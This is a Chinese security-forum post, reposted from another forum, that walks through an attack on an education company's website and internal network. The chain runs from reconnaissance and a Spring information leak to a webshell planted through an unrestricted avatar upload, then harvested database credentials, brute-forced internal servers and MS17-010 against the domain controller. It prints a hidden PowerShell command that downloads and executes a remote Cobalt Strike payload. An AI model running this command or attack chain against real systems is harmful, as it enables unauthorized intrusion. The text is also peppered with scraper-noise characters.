找回密码
 立即注册
中国网络渗透测试联盟»论坛 › --==渗透测试区{ Penetration testing area }==-- › web app渗透测试::『Web App penetration testing』 › 渗透实战 | 从外网直接打到内网全过程
欢迎中测联盟老会员回家，1997年注册的域名
返回列表 发新帖
查看: 2622|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
admin
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

7 U' ~4 x1 i/ D" q* ] 这次渗透是一个从0到1，从外网到拿下域控的实战过程，希望可以给大家一些思路9 j2 T0 m7 P: Z% O1 G! N. Y& W

2 A+ T& X! K' a/ C

: a1 A [6 o8 w* D  / F4 l# G! |- M3 D" o3 j- o' Q

! F5 l5 |1 u0 m1 j7 E0 G1 j9 ]' Y

. ~- a. K" H3 t3 u' Y 正文 - ?! |5 x! R* J- n- m4 _5 s9 B

$ _. N2 k. {. B; E+ O+ n9 T: C# A

- A9 U+ U3 _% w( I2 N) V   $ Z9 O8 }6 P! m, {" X4 U; ?

0 ?& ~( S4 G6 q1 o: c

. x2 S& f- `1 U# p. Z0 N& K 目标：www.xxxx.com(一家教育机构)
0 j6 |* G2 _) p4 B9 g9 Z 打开是一个登录框，只能是手机号+密码或者手机号+验证码且并未开放注册功能) }+ [. t+ M8 O0 s$ s: ~; Y# o4 R

% ^& N! b( n) x8 Q

# G; H8 q) D7 m& U* K4 D; x c vshapes=& q/ Y8 K" [# [9 m' H2 \4 n

3 A# m4 j: s/ q3 _ ?9 A5 S5 c

" a# J9 k V2 n2 q 进行了简单的信息搜集
% _$ v7 h: W% M h
' O8 m/ M" z! J 0 G- B4 Y5 W) {7 z$ V2 \3 d

4 C9 R p+ n2 O/ I0 f

4 Q8 I G3 i9 o 子域名搜集/ _( _+ }! z, ?; F9 e* m% ?

8 c5 _" B7 }2 V7 z

/ w3 d3 K8 v- s% v0 [1 E vshapes= i+ |/ p/ {0 Q" `

- r7 W i7 P7 x$ C4 i9 @6 B( F

& e8 R# |0 p9 T0 S5 [ fofa找资产
$ }# F7 ?* ~2 ^3 L, K/ B
% Z# O& k3 E) W8 I. { b, [7 Y: V/ m" w+ a ~) \7 q. ]" p

: @' k" L3 l0 z% A- D0 |4 Z4 z

/ P3 p5 U) K1 T. Q" c/ u vshapes= 5 D4 ~5 U9 h: J% |! f" f

* K9 a* Y8 F& U4 e9 ]' d% J1 y X

+ K( @7 g8 P$ K; Z( K( w 一共七个资产。去重之后只有两个。
3 L# }6 \% m. R9 X+ }+ I- @& p
# `' V) N6 |; O8 e- I0 H. X6 v # u- V* }7 T% n4 g9 p& [/ o% O

: y3 d. t* j+ j) T. h- v

. Z$ v0 D! E$ ]( v 目录探测( c& S3 n% T+ J6 k

& [/ E5 g% Y/ ?/ i, M# u9 i

8 t" @9 Y. [5 U+ V; A vshapes=+ \6 s( V4 f! a5 M9 l5 O

; `; l, q# i# W3 U% @. f$ d% `. e

9 ?9 ]9 ~3 |% |3 a$ A' f1 y/ R9 r 我尝试了暴力枚举，看有没有弱口令之类的,然而并没有
7 B) S" M$ E9 ], P( J; F8 U
/ O1 _6 Q3 p/ }; x! {% l6 U. E# E 6 E" w& @1 N4 V/ B1 B

8 ^( d' q* A0 m6 m1 D# Z7 k

9 ?; t7 E( {, z& \" N( y 我又尝试了通过修改返回包来绕过登录界面0 T, g1 v* z" \: g' d4 s6 e1 I

( f. W. F, U; y( {3 V4 }! h3 N+ Z2 \

4 l& ~ ~' ]2 d- z& q4 z vshapes=1 S+ }. m( t$ J5 n5 u* n/ i" l }

6 X. n: L7 z* j8 L3 y

! v% C) r" ]8 Y* g9 c9 l 还是不行，尝试注入无果 7 e3 p1 E! h( e+ W$ Z

+ Y; V) a) z/ N- [

7 }$ b" _: L1 b. x: H8 `9 } vshapes= $ g% K" l* m# A* r' B+ c

9 }6 l# V! i9 x* ]" y( C

5 ^! V2 S6 [: t 不过我目录探测出了一处Spring信息泄露
$ k5 Z% S E5 f1 {( T! }6 h
/ H+ ^0 h5 `" \ " O% N i( R2 z

" o' X2 u( m9 K; s

6 {2 a" c# h( {- o9 j vshapes= 2 ?+ w: `. X; n% e6 A3 R x

M) u% ] z& d" m+ e

/ L1 f# C% f% B2 X+ E6 h 尝试Spring RCE无果，想通过trace目录下替换cookie实现登录，但是发现删除了这个目录 & p6 ?" C3 P* S

0 ?2 L$ I3 R3 g6 a7 O

+ l4 J) `1 f9 X vshapes=6 a& _% N+ [: I, A' b. u( Y

7 G/ z9 d% U: ]# A

: Q7 @; w) {5 P 后对公众号进行了简单的信息搜集，针对公众号搜集时，尽量找后面认证过的进行渗透。 6 z+ T) t2 u* T. L! V# b ^: e

N; L; {2 x. v9 ]

: [& H9 f; L, f- C+ {" g9 E3 Z vshapes= , f5 n4 g8 F: s7 n9 ~( e; x

1 c) Z0 B5 ? d; H7 B2 E

! j; A9 W7 R0 b- ~9 w2 b 获取有些师傅到这一步就手机抓包电脑测了。; h( @0 X* {" Z9 e9 h0 N5 _

9 v/ c$ y" g# @' c% q

& C8 Q; T! y6 i: l Windows新版微信可以抓取公众号和小程序的包，只需要把IE代理配置一下即可。 ; P! u0 S) @/ N0 [: Z) t( M

: e) f* _! O0 v4 R! x

+ |4 i- m' z$ [9 r$ r# ~ 其中在一个公众号发现了小程序，可以进行注册。 9 ^" }' k7 [/ `, q2 N& F

+ y, i! ~2 D3 r9 \' |) l

: e# G, j7 x# j# I4 | 看到了头像上传，尝试上传获取WebShell ) t: r5 O( q( [7 F" n m# j$ ?

. B4 O* J) L* a, q) j

$ N5 ^2 }7 V3 E B, R vshapes= 6 w( M- _4 }! @8 w& ?$ k& p! h

2 c' g/ T' m: g* M8 N

( d. H+ U( i ~1 u& F H% `8 ] 未做任何限制成功GetShell，上了冰蝎马，目录没权限访问 7 L/ d" [( \# }# ]' }1 y

& Y D* j! d- K! N0 Q3 @8 E

! }; {/ L# }7 \4 H% W# I* s vshapes=/ j$ J( {: V( c7 D4 S7 L& S

+ M" c$ d% `$ ?8 I

( h- E! p3 G1 e& T" F 然后上了大马 7 R, B) ^. c" `# Y& a5 c" C

4 z9 u0 J2 ~1 v3 Q A3 R

1 [/ z8 m& Y8 ?8 Y5 r" f vshapes=& m' m6 Y+ D- L) ^; M

* c% `" M! j& F6 X2 L3 j, Y' n

+ J1 O- t6 C2 D1 S, d vshapes= 0 o8 T3 u7 k3 O3 q! m

3 s8 ?; g. K; x/ {2 P

% _- S" h8 a" C2 c) H% n% f 通过翻找文件发现数据库账号密码/ ]1 M3 i. d' w7 H1 u! r" \

: w- Y3 K" j5 C7 K0 _+ S

|, k9 [. X7 s' y; ^. n+ S* K" \ vshapes=9 I! e7 ^" x. u( }5 s

a7 ?- F7 {# V3 H; f0 x$ K/ o

8 `3 J3 ^. K- h3 T) v, n# \: d --内网渗透 8 T" Y7 K) R. `3 E: G" e2 e

k% T" X5 R0 Z! T

2 l" S- \" U3 E7 U* N8 t1 m 直接通过powershell执行 cs上线6 S6 W- H1 F2 L! U! y9 S+ h$ T

5 p K& h8 W# Y6 ]3 K, D+ f

8 B' Z7 }+ @- L2 T& ]/ V% P2 f. ^/ h4 w powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))" " i. r! ^* ]0 c1 M, v" p

* E/ T! X: ^* Q" C$ a9 l

3 [; ~/ v( f2 l$ x7 F: |, _' U vshapes=; h* V+ ?6 P& I$ ^4 M8 b: b l

& q" s% e3 P3 t) L- ^+ U1 J. K

: S' u1 i) D$ y! |# f0 m. J& \ 进入内网后，简单的进行一波信息收集，寻找域控并对服务器段进行弱口令爆破, [* ]- e- ^! Q) `- o& X

# x3 I$ b4 \6 W) h4 U2 u

4 m8 y- G0 v9 e W vshapes=9 e0 n) ^8 I# R8 z

7 i0 `' \8 f- i& N7 {: `( m. w: y

' C. z& M: l/ ]1 s/ M 登录爆破出来的服务器，发现多网卡且存在逻辑隔离。
: U- Z8 {# s+ [' Z
k6 n# F' j- g1 z2 Y Z# M, U. l
. c6 W2 Y9 u w& |0 S% z 8 s8 w& v" B% N6 J+ Z

1 p7 j y1 b6 d3 `+ ?/ x( ~5 C

% B& f5 T1 o3 c, z( ?; |4 _3 \+ V vshapes=* y& }* W3 ^. }# K7 Q

1 C& k7 d0 H6 o6 p

* J& P# s% q+ Y 通过跳扳机能通域控，发现域控server2008且存在ms17010,直接一把梭
7 x4 b& F% d3 T+ L: s
/ a, J6 ?( x0 O+ {0 n7 ?/ \# B; _ , G: W! t1 m# ]2 Y! N6 {( K5 {- `

$ E9 C {0 [/ n- \6 V0 y' M# k& Y$ g1 j

0 S- h j8 Y+ S% {& e vshapes= 2 T; r) B: a. z4 `: p: a

5 f9 B! q4 g" Y# t* N0 l% V

8 S" I* ~ t9 G) S% e% Q
& U2 t: H" ~0 _- Y
$ W J% Z+ `" C; M# |- m6 M % M* [9 w/ ~* ^/ e

! l* G u1 C; `% ]7 I5 }

8 d! q( J4 `( \0 Y: o4 e8 C, g  4 j, K* p" O; h, p& W2 k

- N% u$ s/ |# `

4 }1 U! R0 e- f+ T+ ^( [% l! P 小结 Z" e; }8 |6 ?- w2 `. q

) f2 @ X6 m9 \; o8 t1 D4 k

! ? [! z4 G; ]: Y* L  ( ^, z7 o1 j, y

' G: Q. g6 U8 E% J2 _* m3 j4 e

4 [: o- f) P: K 在渗透测试过程中，信息收集很重要，细心和耐心也是不可缺少的，总得来说，这次的渗透测试总的来说比较顺利，希望可以给大家带来一些思路！7 v. k8 B3 |5 C; D! j" V& v$ [: Q

6 \- W6 Q. d! }6 U9 ~6 w8 ^

) y, p; W1 b5 N% P. ?% u  # i- s8 Y! B0 v- I

9 \% X2 l: I2 X2 q" y% P0 C7 w1 [% x0 o
    S$ {9 R% C; t/ c2 L2 i- D
  • ; m5 X4 d0 g5 t: Y1 d   , F9 z6 V% i% m T/ Y) ]0 V
    • 5 o6 {5 ?4 Z& P9 c( T
  • # j9 U- U8 r. W( _- B3 n1 i   4 c5 I4 O6 X9 K: ^, t
    • ) y7 V: d$ P; z6 X
9 X) \7 I& \& x* Z

7 h, Y+ {: j% I, e) Q' n 作者：Xm4FDf转载自：https://bbs.ichunqiu.com/thread-57879-1-1.html - p& M5 \8 N4 w+ D0 n

; F! Y9 L( Q9 m! [

2 F2 i1 r8 O! }' ^0 }0 l. [  : h+ p. A6 \9 T, E* V1 x" t6 L6 z

回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2001-2013 Comsenz. All Rights Reserved - Powered by Discuz! X3.2
快速回复 返回顶部 返回列表